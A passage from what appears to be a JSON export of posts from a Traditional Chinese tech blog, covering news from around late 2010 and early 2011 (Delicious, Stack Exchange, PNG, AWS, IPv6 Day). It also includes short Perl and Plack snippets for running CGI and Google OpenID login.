    "body": "如圖 XD\r\n\r\n<img src=\"https://i.gslin.com/imgur/Vgw7Zl.jpg\" alt=\"\" />\r\n\r\n在 Ptt2 pangfeng 板上看到的 (其實 pangfeng 板上那篇也是一路轉過去的)，關於他手上拿的那張紙，參考「<a href=\"http://zh.wikipedia.org/wiki/%E8%8E%AB%E6%AF%94%E4%B9%8C%E6%96%AF%E5%B8%A6\">莫比烏斯帶</a>」的說明 XD",
    "title": "只能帶一面大抄的時候..."
  },
  {
    "id": "2392",
    "body": "睡醒就看到讓人頭痛的新聞... 幾個連結：\r\n<ul>\r\n\t<li>Andy Baio 的 <a href=\"http://twitter.com/waxpancake/status/15483488237002752\">Tweet</a>。</li>\r\n\t<li><a href=\"http://techcrunch.com/2010/12/16/is-yahoo-shutting-down-del-icio-us/\">Is Yahoo Shutting Down Del.icio.us? [Update: Yes]</a> (<a href=\"http://techcrunch.com/\">TechCrunch</a>)</li>\r\n</ul>\r\n<strong>Update</strong>：補個當時沒抓到的圖：(from <a href=\"http://www.businessinsider.com/yahoo-killing-or-merging-delicious-yahoo-buzz-people-search-and-more-2010-12\">Yahoo Killing Or Merging Del.icio.us, Yahoo Buzz, People Search And More</a>)\r\n\r\n<img src=\"https://i.gslin.com/imgur/Pekdy.jpg\" alt=\"\" />\r\n\r\n<a href=\"http://www.evernote.com/\">Evernote</a> 貼出了一篇如何從 <a href=\"http://delicious.com/\">Delicious</a> 轉移到 Evernote 的公告：「<a href=\"http://blog.evernote.com/2010/12/16/making-the-transition-from-delicious-to-evernote/\">Making the transition from Delicious to Evernote</a>」，不過這是以目前現有的 Import 功能做的，有些人在 comment 有反應能不能特地為 Delicious 做一個特別版的 import...\r\n\r\n這幾天應該會有更多 export/import 程式出來，要換平台的人倒是可以等一下...\r\n\r\nWTF...",
    "title": "Yahoo! 要關閉 Delicious"
  },
  {
    "id": "2394",
    "body": "<a href=\"http://stackexchange.com/\">Stack Exchange</a> 在 <a href=\"http://data.stackexchange.com/\">data.stackexchange.com</a> 公開了所有旗下站台的統計資訊：\r\n\r\n<a href=\"https://i.gslin.com/imgur/tqoHh.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tqoHhl.webp\" /><img src=\"https://i.gslin.com/imgur/tqoHhl.jpg\" alt=\"\" /></picture></a>\r\n\r\n最大的三個果然是 <a href=\"http://stackoverflow.com/\">stackoverflow</a>、<a href=\"http://superuser.com/\">superuser</a>、<a href=\"http://serverfault.com/\">serverfault</a>...\r\n\r\n另外在「<a href=\"http://blog.stackoverflow.com/2010/12/stack-overflow-2010-analytics/\">Stack Overflow 2010 Analytics</a>」則是公佈了訪客的統計資料... (這類型站台的 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 果然遠超過 IE...)",
    "title": "Stack Exchange 旗下站台的統計"
  },
  {
    "id": "2396",
    "body": "在反垃圾郵件法案中提到的 Opt-out 是指「預設寄送，使用者可以選擇退出」，而 Opt-in 則是「預設<strong>不可以</strong>寄送，必須由使用者選擇加入」。這兩者最大的差異在於，Opt-out 後發信人就會知道這個信箱有人在看信，於是就把名單轉到境外發...\r\n\r\n所以加拿大的法律從 Opt-out 改為 Opt-in 是很重要的進展：「<a href=\"http://www.returnpath.net/blog/intheknow/2010/12/canada-has-an-opt-in-regime-and-a-new-anti-spam-law/\">Canada has An Opt-in Régime and a new Anti-spam Law</a>」。\r\n\r\n隔壁的美國到底要不要改呢...",
    "title": "加拿大的反垃圾郵件法案由 Opt-out 改成 Opt-in"
  },
  {
    "id": "2397",
    "body": "「<a href=\"http://calendar.perfplanet.com/2010/png-that-works/\">Does PNG work everywhere?</a>」這篇文章把 <a href=\"http://zh.wikipedia.org/wiki/PNG\">PNG</a> 的現況整理成表格，並且附上不少圖片範例可以看。表格包括在處理圖片常用的 <a href=\"http://www.adobe.com/products/photoshop/\">Photoshop</a> 軟體，以及常見的問題瀏覽器 IE 各版本。\r\n\r\n如果不牽扯到 <a href=\"http://en.wikipedia.org/wiki/Gamma_correction\">Gamma correction</a> 與 <a href=\"http://en.wikipedia.org/wiki/ICC_profile\">ICC profile</a>，<a href=\"http://www.mozilla.com/firefox/\">Mozilla Firefox</a>、<a href=\"http://www.apple.com/safari/\">Safari</a> (包括行動版本) 以及 <a href=\"http://www.opera.com/\">Opera</a> 對於不同格式的 PNG 都沒有什麼問題... 就這部份的結論是，IE6 只能用最基本的 PNG 格式，但如果同意讓 IE6 看到比較差的效果 (不是看不到)，不少格式可以用。\r\n\r\n另外作者也不斷地再推廣使用 PNG 最佳化程式處理 PNG 檔，以節省空間。文章後面的 Troubleshooting 以及 Summary 章節很值得仔細看過一次，在腦袋裡面留下印象...",
    "title": "PNG 現況整理..."
  },
  {
    "id": "2398",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Xzj1Q.webp\" /><img src=\"https://i.gslin.com/imgur/Xzj1Q.jpg\" alt=\"\" /></picture>\r\n\r\nUptime 的圖片資料出自「<a href=\"http://uptime.netcraft.com/perf/graph?site=www.bestbuy.com\">Performance Charts and Statistics for www.bestbuy.com</a>」，文章可以參考「<a href=\"http://news.netcraft.com/archives/2010/12/22/bestbuy-com-hits-problems-in-run-up-to-christmas.html\">BestBuy.com hits problems in run up to Christmas</a>」。\r\n\r\n這是怎樣... 居然可以從 21 號就開始爛，我記得 21 號還沒開始放假吧？",
    "title": "被擊沉的 BestBuy..."
  },
  {
    "id": "2400",
    "body": "一年居然過去了 XD\r\n\r\n之前在 <a href=\"http://www.sharkspace.com/\">SharkSpace</a> 是用 <code>50offlife</code> 的優惠碼註冊 Hammerhead 方案的，所以價錢是固定的。這一年用起來感覺還算 okay，看了一下 invoice 是 USD$53.7/year，還算 okay 就續租下去了，養兩個 blog 放著...",
    "title": "續租 SharkSpace..."
  },
  {
    "id": "2401",
    "body": "<a href=\"http://adblockplus.org/\">Adblock Plus</a> 一直都是 <a href=\"https://addons.mozilla.org/\">AMO</a> (即 Mozilla Add-Ons，取其網址 addons.mozilla.org 的三個開頭字母) 下載排行榜第一名，除了可以自己設定以外，他好用在可以訂閱別人整理好的清單...\r\n\r\n在 Adblock Plus 官方網站有提供一份列表「<a href=\"http://adblockplus.org/en/subscriptions\">Known Adblock Plus subscriptions</a>」，裡面有很多清單列表...\r\n\r\n我個人建議訂閱三個：\r\n<ul>\r\n\t<li>EasyList (English)：最基本的名單，當有誤判時也很快會更正。</li>\r\n\t<li>ChinaList (汉语)：逛大陸網站必備。</li>\r\n\t<li>Malware Domains (malware protection)：加減保護自己...</li>\r\n</ul>",
    "title": "推薦 Adblock Plus 的訂閱清單"
  },
  {
    "id": "2402",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iAsdsl.webp\" /><img src=\"https://i.gslin.com/imgur/iAsdsl.jpg\" alt=\"\" /></picture>\r\n\r\n想在 <a href=\"http://twitter.com/\">Twitter</a> 上面丟一些東西，結果發現噴掉了 XD\r\n\r\n參考「<a href=\"http://status.twitter.com/post/2459228829/site-availability-issues\">Site availability issues</a>」這篇的更新狀況，看起來是正在處理中...",
    "title": "Twitter 突破天際了..."
  },
  {
    "id": "2403",
    "body": "<a href=\"http://www.daemonology.net/\">Colin Percival</a> 前陣子公佈了 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 上跑 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 9.0-CURRENT 的 ami，當時測試覺得太慢了：「<a href=\"http://blog.gslin.org/archives/2010/12/16/2390/%E5%9C%A8-aws-ec2-%E4%B8%8A%E8%B7%91-freebsd\">在 AWS EC2 上跑 FreeBSD</a>」，昨天他在 <a href=\"http://twitter.com/\">Twitter</a> 上提到把 FreeBSD 8.2-RC1 也 <a href=\"http://twitter.com/cperciva/status/18534037547126784\">porting 上去了</a>：\r\n<blockquote>FreeBSD 8.2-RC1 is now available on EC2 as ami-d29b6abb. <a href=\"http://www.daemonology.net/freebsd-on-ec2/\">http://www.daemonology.net/freebsd-on-ec2/</a> #merrychristmas</blockquote>\r\n實際測試以後發現 8.2-RC1 還是很慢，跑 <code>portsnap fetch</code> 要等半個小時，跑 <code>portsnap extract</code> 也要再等半個小時，看起來是因為 <a href=\"http://aws.amazon.com/ebs/\">EBS</a> 的速度太慢？如果是這樣的話就得等非 t1.micro 的版本了 (因為 t1.micro 只能用 EBS 跑)。\r\n\r\n以目前進度來看，8.2-RELEASE 會是第一個支援 EC2 的 production 版本？",
    "title": "EC2 上的 FreeBSD 8.2-RC1..."
  },
  {
    "id": "2404",
    "body": "喝下去第一口就有「哇靠，香料是放了多少啊」的感覺... 蓋起來丟回冰箱，哪天有心情喝這種東西的時候再說...\r\n\r\n找不到圖，網路上大多數的圖都是 2000ml 的，而且旁邊有「無香料」的標語 (我喝的 600ml 在「成份」欄有「天然香料」)，看起來不是同一批：\r\n\r\n<img src=\"https://i.gslin.com/imgur/zpK4D.jpg\" alt=\"\" />\r\n\r\n圖片來自「<a href=\"http://udn.gohappy.com.tw/shopping/Browse.do?op=vp&sid=12&cid=29743&pid=17113\">★超值特惠★悅氏黃金烏龍茶(無糖) 2L</a>」這裡。",
    "title": "悅氏 黃金烏龍茶 (無糖) 600ml 寶特瓶包裝"
  },
  {
    "id": "2405",
    "body": "如標題，有時候總是有些奇怪的需求，想要用 CGI mode 跑一些東西，然後希望很簡單，最好不要動到系統設定，可以在不需要後完全不吃系統資源...\r\n\r\n<a href=\"http://plackperl.org/\">Plack</a> 剛好提供了 <a href=\"http://search.cpan.org/dist/Plack/lib/Plack/App/CGIBin.pm\">Plack::App::CGIBin</a>，可以接受 HTTP request 並丟給下面的程式...\r\n\r\n跑起來的方式超簡單：\r\n<blockquote><code>env -i /usr/local/bin/plackup -MPlack::App::CGIBin -e 'Plack::App::CGIBin-&gt;new(root =&gt; \"/path\")-&gt;to_app'</code></blockquote>\r\n這樣會把 <code>/path</code> 下的東西當作 CGI script 跑...\r\n\r\n不過 <a href=\"http://www.php.net/\">PHP</a> 跑 CGI mode 超麻煩，並不是直接加上 <code>#!/usr/bin/php-cgi</code> 就能夠解決的，還沒找到要怎麼處理... (天曉得哪個環境變數又出問題了)",
    "title": "用 Plack 跑 CGI"
  },
  {
    "id": "2407",
    "body": "在「<a href=\"http://blog.gslin.org/archives/2010/12/26/2405/%E7%94%A8-plack-%E8%B7%91-cgi\">用 Plack 跑 CGI</a>」提到用 <a href=\"http://plackperl.org/\">Plack</a> 跑 CGI，目的是把 <a href=\"http://www.php.net/\">PHP</a> 寫的 <a href=\"http://www.adminer.org/\">Adminer</a> (一個取代 <a href=\"http://www.phpmyadmin.net/\">phpMyAdmin</a> 的工具) 跑起來。\r\n\r\n文章裡提到 PHP 沒辦法以 CGI mode 執行，主要有兩個原因。一個是 PHP 本身有安全機制，<code>php-cgi</code> 必須在有 <code>REDIRECT_STATUS</code> 這個環境變數下才能執行，另外一個是 <code>php-cgi</code> 需要用到 <code>SCRIPT_FILENAME</code> 這個非 CGI/1.1 標準 (<a href=\"http://tools.ietf.org/html/rfc3875\">RFC 3875 - The Common Gateway Interface (CGI) Version 1.1</a>) 的環境變數。\r\n\r\n由於我只打算跑 Adminer，而 Adminer 的程式都放在同一個檔案裡，所以可以把這兩個環境變數設死惡搞：\r\n<blockquote><code>env -i REDIRECT_STATUS= SCRIPT_FILENAME=/path/adminer.php /usr/local/bin/plackup -MPlack::App::CGIBin -e 'Plack::App::CGIBin-&gt;new(root => \"/path\")-&gt;to_app'</code></blockquote>\r\n這樣就跑起來了...",
    "title": "用 Plack 提供的 CGI 跑 Adminer..."
  },
  {
    "id": "2408",
    "body": "在 12/27 就有網站先公佈了 2010 年的 BitTorrent Zeitgeist：「<a href=\"http://torrentfreak.com/bittorrent-zeitgeist-what-people-searched-for-in-2010-101227/\">BitTorrent Zeitgeist: What People Searched For in 2010</a>」。\r\n\r\n「2010」名列前茅並不意外，倒是「inception」(<a href=\"http://zh.wikipedia.org/wiki/%E5%85%A8%E9%9D%A2%E5%95%9F%E5%8B%95\">全面啟動</a>) 與「iron man 2」(<a href=\"http://zh.wikipedia.org/wiki/%E9%8B%BC%E9%90%B5%E4%BA%BA2\">鋼鐵人2</a>) 這兩部作品居然這麼紅，可以直接幹掉「2010」 XD\r\n\r\n另外那個「xxx」是怎樣 XDDD",
    "title": "2010 年的 BitTorrent Zeitgeist"
  },
  {
    "id": "2409",
    "body": "台灣的 Perl Planet 又再次啟動了：「<a href=\"http://planet.perl.tw/\">Planet Perl.TW</a>」。\r\n\r\n有在寫 <a href=\"http://www.perl.org/\">Perl</a> 相關文章的可以找 <a href=\"http://c9s.blogspot.com/\">c9s</a> 加入你的 feed...",
    "title": "台灣 Perl Planet"
  },
  {
    "id": "2410",
    "body": "中國早在 2006 年年底就提出來的主意 (<a href=\"http://blog.gslin.org/archives/2006/12/20/966/%E6%89%8B%E6%A9%9F%E5%85%85%E9%9B%BB%E5%99%A8%E8%88%87%E5%82%B3%E8%BC%B8%E7%B7%9A%E7%9A%84%E6%A8%99%E6%BA%96%E5%8C%96\">手機充電器與傳輸線的標準化</a>)，歐盟在 2011 年正式實施了 (不過要到 2012 年才有強制禁賣)：「<a href=\"http://yro.slashdot.org/story/11/01/01/023248/Micro-USB-Cellphone-Charger-Becomes-EU-Standard\">Micro-USB Cellphone Charger Becomes EU Standard</a>」。\r\n\r\n即使美國一直不跟進，手機廠商也應該會使用單一介面，畢竟 Micro USB 不算奇怪的介面，而且歐盟國家的市場也算夠大...",
    "title": "歐盟強制使用 Micro USB 做為手機充電介面"
  },
  {
    "id": "2412",
    "body": "如標題，<a href=\"http://statcounter.com/\">StatCounter</a> 統計資料顯示 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 在歐洲的市占率首次超越 IE：「<a href=\"http://gs.statcounter.com/press/firefox-overtakes-internet-explorer-in-europe-in-browser-wars\">Firefox overtakes Internet Explorer in Europe in browser wars</a>」。\r\n\r\n不過由圖可以看出來，並不是 Firefox 這一年有顯著成長而超越 IE，而是 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 在這一年吃掉 IE 下滑的部份。\r\n\r\n同樣以 StatCounter 的資料來看，台灣的 IE 佔有率在 77% 左右，Google Chrome 的市占率應該會在這半年內超越 Firefox。好事是 IE6 的佔有率愈來愈低了，目前是 17% 左右，而且有機會在這半年內降到 10% 附近... 2012 年設計網頁應該可以忽略這個古董了...",
    "title": "Firefox 在歐洲的市占率首次超越 IE"
  },
  {
    "id": "2413",
    "body": "在 <a href=\"http://www.quora.com/\">Quora</a> 上有人提問 <a href=\"http://www.amazon.com/\">Amazon</a> 為什麼會作雲端計算，也就是「<a href=\"http://aws.amazon.com/\">Amazon Web Services</a>」這項服務：「<a href=\"http://www.quora.com/How-and-why-did-Amazon-get-into-the-cloud-computing-business\">How and why did Amazon get into the cloud computing business?</a>」。\r\n\r\n然後大魚就上鉤了，Amazon 的技術長 Werner Vogels 親自回答這個問題... 後面那段提到了本來沒有預期會有這麼大的量，而 AWS 所使用的量在公開兩個月後就超過 Amazon.com 本身，於是雲端神話就此開始...",
    "title": "Amazon Web Services 成長的一些故事..."
  },
  {
    "id": "2414",
    "body": "看到 <a href=\"http://en.wikipedia.org/wiki/Maxima_and_minima\">Local maxima</a> 這個詞還真懷念：「<a href=\"http://www.90percentofeverything.com/2011/01/06/local-maxima-and-the-perils-of-data-driven-design/\">Local maxima and the perils of data-driven design</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/vEcsV.gif\" alt=\"\" />\r\n\r\n這篇文章在講改善網頁時的態度。你可以用科學方法 (像是 <a href=\"http://en.wikipedia.org/wiki/A/B_testing\">A/B testing</a>) 測試不同的小細節以達到 local maxima，但如果要有更重大的突破則必須靠結構性的改變。然後拿了 <a href=\"http://www.facebook.com/\">Facebook</a> 在 2007 與 2008 年的網頁當作失敗案例...\r\n\r\n雖然概念很久前就有，但用「Local Maxima」這個詞彙來表示是以前沒想過的，現在看到倒是覺得相當適合 XD",
    "title": "改善網頁的態度問題"
  },
  {
    "id": "2415",
    "body": "利用 <a href=\"http://bittorrent.org/\">BitTorrent</a> 的 tracker 設計攻擊網站：「<a href=\"http://torrentfreak.com/bottorrent-using-bittorrent-as-a-ddos-tool-101229/\">BotTorrent? Using BitTorrent as a DDoS Tool</a>」。\r\n\r\n文章裡提到 torrent 檔裡面有一個欄位是放 tracker 資訊，當這個 torrent 檔下載的人很多的時候，使用者嘗試連 tracker 的行為就會變成 DDoS 攻擊。同理，由於 <a href=\"http://zh.wikipedia.org/wiki/Magnet%E9%93%BE%E6%8E%A5\">Magnet URI</a> 可以帶 tracker 資訊，也可以作同樣的事情...\r\n\r\n不過這個方法感覺不太有效率... XD",
    "title": "利用 BitTorrent 的設計攻擊網站..."
  },
  {
    "id": "2416",
    "body": "在 HN (<a href=\"http://news.ycombinator.com/\">Hacker News</a>) 上看到的分析資料 (文章是 <a href=\"http://www.readwriteweb.com/\">ReadWriteWeb</a> 的)：「<a href=\"http://www.readwriteweb.com/cloud/2011/01/the-services-used-by-y-combina.php\">The Services Used By Y Combinator Startups [Infographic]</a>」，文章裡面分析了 <a href=\"http://ycombinator.com/\">Y Combinator</a>「旗下」的 startup 所使用的服務。\r\n\r\n統計資料在「<a href=\"http://jpf.github.com/domain-profiler/ycombinator.html\">Y Combinator</a>」這邊，另外有「Quantcast Top 100」的資料也可以看看，這邊就不提 <a href=\"http://www.quantcast.com/\">Quantcast</a> Top 100 的情況了。\r\n\r\n網站主機的部份，可以看到是 <a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 與 <a href=\"http://www.rackspacecloud.com/\">Rackspace Cloud</a> 兩家雲端服務最大，如果把同屬於 <a href=\"http://www.rackspace.com/\">Rackspace</a> 下的 <a href=\"http://www.slicehost.com/\">Slicehost</a> 一起併進去算的話就幾乎相同了。不過自己 hosting 的部份也不少...\r\n\r\nE-mail 服務的部份以 <a href=\"http://www.google.com/apps/\">Google Apps</a> 過半，接下來就是自己 hosting。畢竟 <a href=\"http://mail.google.com/\">Gmail</a> 真的太好用...\r\n\r\nDNS hosting 的部份最大一塊是自己 hosting，而 <a href=\"http://www.godaddy.com/\">GoDaddy</a> 有一定的比率倒是沒什麼意外... 而 DNS registrar 的部份當然是 GoDaddy 過半 XD\r\n\r\n接近一半的 startup 沒有 SSL，如果有的大多數也都是跟 GoDaddy 買。然後有不少人是買 Wildcard SSL Certificate...\r\n\r\n不過還是要講，重點在於挑自己熟悉而且穩定的技術，並不是用了雲端就什麼都不用學。",
    "title": "分析 Y Combinator 的 Startup 所使用的服務..."
  },
  {
    "id": "2417",
    "body": "透過<a href=\"http://www.microsoft.com/taiwan/\">台灣微軟</a>的幫忙，一個月前拿到了一組 <a href=\"http://windows.azure.com/\">Windows Azure Platform</a> 的帳號測試，來寫一下感想好了。\r\n\r\n在管理介面時會被提醒需要安裝 <a href=\"http://www.silverlight.net/\">Sliverlight</a>。沒有 Silverlight 的只能使用基本介面，同時也在登入時說明 2011 年初會把舊介面關閉：\r\n\r\n<a href=\"http://imgur.com/YWwMs\"><img src=\"https://i.gslin.com/imgur/YWwMsl.jpg\" alt=\"\" /></a>\r\n\r\n抱歉，即使<a href=\"http://ccsx.wordpress.com/2010/09/29/hikaru-shinia/\">活動</a><a href=\"http://lordmi.memory-off.org/wordpress/archives/6848\">辦得</a><a href=\"http://lordmi.memory-off.org/wordpress/archives/7692\">很精彩</a>，我還是沒興趣裝 Silverlight... 所以下面的測試都還是以基本版的測試為主。\r\n\r\n能看的文件不多，而且要在登入後才能看 <a href=\"https://legacyportal.windows.azure.com/cloud/help.aspx?projectid=010e13bd-7b8e-489e-bc0a-b404eb7547c4\">Help and Resources</a> (這是 non-Silverlight 版本)\r\n\r\n抓了 VSCloudServiceHelp.chm 後，打開來發現只有標題能看，每個章節都看不到內容：\r\n\r\n<a href=\"http://imgur.com/TkRfK\"><img src=\"https://i.gslin.com/imgur/TkRfKl.jpg\" alt=\"\" /></a>\r\n\r\n實在是測不下去，收工...",
    "title": "Windows Azure Platform 平台，其中 CDN 的部份的測試..."
  },
  {
    "id": "2418",
    "body": "用 <a href=\"http://search.cpan.org/dist/Net-OpenID-Consumer/\">Net::OpenID::Consumer</a> 寫 <a href=\"http://www.google.com/\">Google</a> 的 <a href=\"http://openid.net/\">OpenID</a> 登入時一直讀不到，trace 後找到問題出在 <code>args</code>：\r\n<pre>my $csr = Net::OpenID::Consumer-&gt;new(\r\n    ua =&gt; LWPx::ParanoidAgent-&gt;new,\r\n    args =&gt; sub { $self-&gt;request-&gt;query_parameters-&gt;{shift} },\r\n    consumer_secret =&gt; 'some random string',\r\n    required_root =&gt; 'http://example.com/'\r\n);</pre>\r\n在 <a href=\"http://www.vim.org/\">vim</a> 裡面突然看到 <code>shift</code> 顏色不太對，才突然想到，是不是 <a href=\"http://www.perl.org/\">Perl</a> 把「<code>shift</code>」當作是一個字串？\r\n\r\n果然改成 <code>shift()</code> 就都正常了...\r\n\r\nPS：用 <a href=\"http://search.cpan.org/dist/Tatsumaki/\">Tatsumaki</a> 拆 Controller 的部份還不錯...",
    "title": "Perl Hash..."
  },
  {
    "id": "2420",
    "body": "<a href=\"http://www.google.com/\">Google</a> 的 <a href=\"http://openid.net/\">OpenID</a> 服務有提供 <a href=\"http://openid.net/specs/openid-attribute-exchange-1_0.html\">OpenID Attribute Exchange 1.0</a> (參考「<a href=\"http://code.google.com/apis/accounts/docs/OpenID.html\">Federated Login for Google Account Users</a>」這個網頁)， 測了一陣子才知道要怎麼透過 <a href=\"http://www.perl.org/\">Perl</a> 的 <a href=\"http://search.cpan.org/dist/Net-OpenID-Consumer/\">Net::OpenID::Consumer</a> 取得資料：\r\n<pre>my $csr = Net::OpenID::Consumer-&gt;new(\r\n    ua =&gt; LWPx::ParanoidAgent-&gt;new,\r\n    args =&gt; {},\r\n    consumer_secret =&gt; 'secret',\r\n    required_root =&gt; 'http://.../',\r\n    minimum_version =&gt; 2\r\n);\r\n\r\nmy $claimed_identity = $csr-&gt;claimed_identity('https://www.google.com/accounts/o8/id');\r\n\r\n$claimed_identity-&gt;set_extension_args(\r\n    'http://openid.net/srv/ax/1.0',\r\n    {\r\n        mode =&gt; 'fetch_request',\r\n        required =&gt; 'email',\r\n        'type.email' =&gt; 'http://axschema.org/contact/email',\r\n    }\r\n);\r\n\r\nmy $check_url = $claimed_identity-&gt;check_url(\r\n    delayed_return =&gt; 1,\r\n    return_to =&gt; 'http://.../...',\r\n    trust_root =&gt; 'http://.../'\r\n);\r\n\r\nsay $check_url;</pre>\r\n之前會試不出來，主要是卡在 <code>type.email</code> 忘記加，加上去的時候又打成 <code>email</code>...",
    "title": "用 Net::OpenID::Consumer 取得 Google 的帳戶資料"
  },
  {
    "id": "2422",
    "body": "<a href=\"http://www.oembed.com/\">oEmbed</a> 是個從 2008 年就被提出來的格式了，給一個 url (像是 <a href=\"http://www.flickr.com/photos/bees/2341623661/\">http://www.flickr.com/photos/bees/2341623661/</a>)，他會產生像這樣的輸出內容：\r\n<script src=\"https://gist.github.com/779605.js?file=gistfile1.xml\"></script>\r\n如果是 <a href=\"http://www.youtube.com/\">YouTube</a>，則會產生像這樣的內容：\r\n<script src=\"https://gist.github.com/779608.js?file=gistfile1.js\"></script>\r\n東西看起來並不難，不過支援的人還是不夠多？(不過 YouTube 與 <a href=\"http://www.flickr.com/\">Flickr</a> 這兩個大的倒是都支援了...)",
    "title": "oEmbed"
  },
  {
    "id": "2423",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yCJ6s.webp\" /><img src=\"https://i.gslin.com/imgur/yCJ6s.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"http://en.wikipedia.org/wiki/AMBER_Alert\">AMBER Alert</a> (中文：<a href=\"http://zh.wikipedia.org/wiki/%E5%AE%89%E7%8F%80%E8%AD%A6%E6%88%92\">安珀警戒</a>) 把發佈的媒體擴展到網際網路上，與 <a href=\"http://www.facebook.com/\">Facebook</a> 合作：「<a href=\"http://yro.slashdot.org/story/11/01/12/1833250/AMBER-Alert-Partners-With-Facebook\">AMBER Alert Partners With Facebook</a>」。\r\n\r\n不過 <a href=\"http://twitter.com/\">Twitter</a> 應該會比較適合，Facebook 先談到也不差就是了...",
    "title": "AMBER Alert 與 Facebook 合作..."
  },
  {
    "id": "2424",
    "body": "在「<a href=\"http://techcrunch.com/2011/01/10/php-fog-raises-1-8-million-to-be-the-heroku-of-php/\">PHP Fog Raises $1.8 Million To Be The Heroku Of PHP</a>」裡面提到兩家：<a href=\"http://www.phpfog.com/\">PHP Fog</a> 與 <a href=\"http://cloudcontrol.com/\">cloudControl</a>。\r\n\r\n兩者都是以 <a href=\"http://www.php.net/\">PHP</a> 為底層語言基礎的平台。其中 PHP Fog 還沒開張，而 cloudControl 已經開張了，以歐洲的 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 為底層。\r\n\r\n不過 cloudControl 選用 <a href=\"http://bazaar.canonical.com/\">Bazaar</a> 為版本管理系統，這點不知道是什麼考量... (PHP 是用 <a href=\"http://subversion.tigris.org/\">Subversion</a>)",
    "title": "PHP 的 Heroku"
  },
  {
    "id": "2426",
    "body": "<a href=\"http://www.google.com/\">Google</a> 改變了 <a href=\"https://www.google.com/a/\">Google Apps</a> 對 Uptime 的計算方式：「<a href=\"http://techcrunch.com/2011/01/14/google-apps-removes-scheduled-downtime-clause-from-sla-gmail-had-99-uptime-in-2010/\">Google Apps Removes Scheduled Downtime Clause From SLA; Gmail Had 99% Uptime in 2010</a>」(<a href=\"http://techcrunch.com/\">TC</a>)、「<a href=\"http://googleenterprise.blogspot.com/2011/01/destination-dial-tone-getting-google.html\">Destination: Dial Tone -- Getting Google Apps to 99.99%</a>」(Google 官方新聞稿)。\r\n\r\n之前的條款內允許 Google 將「排定的維護停機」排除在 downtime 計算外，現在 Google 決定拿掉這條例外條款。然後在文章下面故意提到 <a href=\"http://www.microsoft.com/\">Microsoft</a> 的服務：\r\n<blockquote>Comparable data for Microsoft BPOS® is unavailable, though their service notifications show 113 incidents in 2010: 74 unplanned outages, and 33 days with planned downtime.</blockquote>\r\n有興趣看新版 SLA 的人可以連結到英文版的頁面上：「<a href=\"http://www.google.com/apps/intl/en/terms/sla.html\">Google Apps Service Level Agreement</a>」。",
    "title": "Google Apps 的 Uptime 計算方式調整 (對使用者有利的方向)"
  },
  {
    "id": "2428",
    "body": "<a href=\"http://twitter.com/\">Twitter</a> 將 <a href=\"http://jquery.com/\">jQuery</a> 1.4.2 換到 1.4.4 以後，發現在捲頁時的效能變得很差：「<a href=\"http://www.dustindiaz.com/about-that-slowness-on-twitter/\">About that slowness on Twitter…</a>」。\r\n\r\n這件事情讓 <a href=\"http://ejohn.org/\">John Resig</a> 在他的 blog 上發表了一篇文章，發現原因在「<code>$something.find(\".class\")</code>」這種用法，成為壓死駱駝的最後一根稻草：「<a href=\"http://ejohn.org/blog/learning-from-twitter/\">Learning from Twitter</a>」。主要的原因是 <code>querySelectorAll(\".class\")</code> 比起 <code>getElementsByClassName()</code> 慢了一些，而 Twitter 的寫法會使得這個 function 的效能明顯放大到影響整體效能的程度...\r\n\r\n文章以及 comment 有給一些建議 (cache selector 與針對 scroll event 的處理)，記起來以後應該會有幫助...",
    "title": "jQuery 對效能的調整..."
  },
  {
    "id": "2429",
    "body": "這相當於 <a href=\"http://www.amazon.com/\">Amazon</a> 跳下來自己做 <a href=\"http://www.java.com/\">Java</a> 版的 <a href=\"http://heroku.com/\">Heroku</a>：「<a href=\"http://www.allthingsdistributed.com/2011/01/aws_elastic_beanstalk.html\">AWS Elastic Beanstalk: A Quick and Simple Way into the Cloud</a>」(CTO Werner Vogels 的文章)、「<a href=\"http://aws.typepad.com/aws/2011/01/introducing-elastic-beanstalk.html\">Introducing AWS Elastic Beanstalk</a>」。將整套 <a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 的技術整合起來，變成 <a href=\"http://en.wikipedia.org/wiki/Platform_as_a_service\">PaaS</a>：「<a href=\"http://aws.amazon.com/elasticbeanstalk/\">AWS Elastic Beanstalk</a>」。\r\n\r\n由於是 Java，所以用 Java 實做的 PHP5 又被拿出來玩了：「<a href=\"http://cameronstokes.com/2011/01/20/php-on-aws-elastic-beanstalk/\">PHP on AWS Elastic Beanstalk</a>」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HtCY5.webp\" /><img src=\"https://i.gslin.com/imgur/HtCY5.jpg\" alt=\"\" /></picture>\r\n\r\n在 Google Search 上面可以看到一些站台了：\r\n\r\n<img src=\"https://i.gslin.com/imgur/Z7mJ0l.jpg\" alt=\"\" />",
    "title": "AWS 的 Elastic Beanstalk..."
  },
  {
    "id": "2431",
    "body": "今年 6/8 將會有超大的 IPv6 測試：「<a href=\"http://www.zdnet.com/blog/networking/world-ipv6-day-has-facebook-google-yahoo-support/542\">World IPv6 Day has Facebook, Google & Yahoo Support</a>」。\r\n\r\n包括 <a href=\"http://www.facebook.com/\">Facebook</a>、<a href=\"http://www.google.com/\">Google</a>、<a href=\"http://www.yahoo.com/\">Yahoo</a> 都會上線測試，另外最大的兩個 CDN 業者 <a href=\"http://www.akamai.com/\">Akamai</a>、<a href=\"http://www.limelightnetworks.com/\">Limelight Networks</a> 也都會上線測試。\r\n\r\n雖然沒有說明細節，但猜測這次的 IPv6 測試應該是將 Facebokk 的 <code>www.facebook.com</code>、Google 的 <code>www.google.com</code>，以及 Yahoo 的 <code>www.yahoo.com</code> 直接增加 AAAA record (也一樣保留 A record)，然後看看結果如何。而 Akamai 與 Limelight Networks 應該是配合有意願的客戶上線測試。\r\n\r\n以目前看起來，6/8 